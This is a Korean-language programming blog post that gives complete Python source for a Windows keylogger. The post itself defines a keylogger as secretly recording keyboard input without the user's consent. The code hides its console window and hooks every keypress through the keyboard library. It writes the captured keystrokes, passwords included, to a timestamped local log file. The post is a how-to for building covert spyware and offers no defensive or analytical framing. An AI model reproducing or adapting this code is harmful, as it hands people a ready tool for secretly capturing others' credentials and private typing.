Profile picture

[Python] 키-로거(key-logger) 구현하기

JaehyoJJAng2024년 05월 10일

목표

  • 사용자가 키보드로 입력하는 데이터를 사용자 컴퓨터의 특정 폴더 아래에 log 파일로 작성.

Key-Logger

  • Key + Log의 합성어
  • 사용자의 동의 없이 키보드 입력 데이터를 몰래 가로채어 기록하는 행위를 뜻함.

필수 패키지 설치

$ pip install pywin32 keyboard

Key-Logger 구현

import keyboard
import os
import time
import win32console, win32gui

class KeyLogger:
    key_data: str = ''
    special_case :list[str] = [
        'shift', 'tab', 'up', 'down', 'right', 'left', 'ctrl', 'alt', 'caps lock', 'space',
        'backspace', 'right alt', 'right ctrl'
        ]
    
    def __init__(self, log_dir: str, log_file_name: str) -> None:
        self.log_dir: str = log_dir
        self.log_path: str = os.path.join(log_dir, log_file_name)

    def hide_window(self) -> None:
        win = win32console.GetConsoleWindow()
        win32gui.ShowWindow(win, 0)

    def create_log(self) -> None:
        if not os.path.isdir(self.log_dir):
            print(f"[info] {self.log_dir} 디렉토리가 존재하지 않으므로, 새롭게 생성합니다")
            os.makedirs(self.log_dir)
        else:
            with open(self.log_path, 'w', encoding='utf-8') as fp:
                fp.write(f"{'=' * 20} Keylogger Starting ... {'=' * 20}\n")

    def log_key(self, event: keyboard.KeyboardEvent) -> None:
        if (event.name in self.special_case):
            self.key_data += ' ' + '[' + str(event.name) + '] '
        
        if (event.name not in self.special_case):
            self.key_data += event.name
            
        if (event.name == 'enter'):
            with open(self.log_path, 'a', encoding='utf-8') as fp:
                self.key_data += '\n'
                fp.write(f'[{time.strftime("%Y-%m-%d %H:%M:%S")}] : {self.key_data.replace('enter', '')}\n')
                self.key_data = ''        
        
        if (event.name == 'esc'):
            with open(self.log_path, 'a', encoding='utf-8') as fp:
                fp.write("Done! : esc\n")
            return False

def main() -> None:
    log_dir: str = "C:\\Users\\yshri\\github\\key-logger\\log"
    log_file_name: str = f"{time.strftime('%Y%m%d_%H%M')}.log"

    keylogger = KeyLogger(log_dir=log_dir, log_file_name=log_file_name)
    
    keylogger.hide_window()
    keylogger.create_log()
    
    keyboard.on_press(keylogger.log_key)
    keyboard.wait('esc')

if __name__ == '__main__':
    main()

구현 설명

  • keyboard 라이브러리 사용
    • pynput 대신 keyboard 라이브러리를 사용했음.
    • 이 라이브러리는 유니코드 입력을 포함한 다양한 입력을 처리함.
  • on_press 사용
    • keyboard.on_press 메서드를 사용하여 모든 키 입력을 감지.

구현 결과

Honeycam 2024-09-09 15-45-24

  • 다만, 한글의 경우 영어 처리가 되어 저장된다.

Loading script...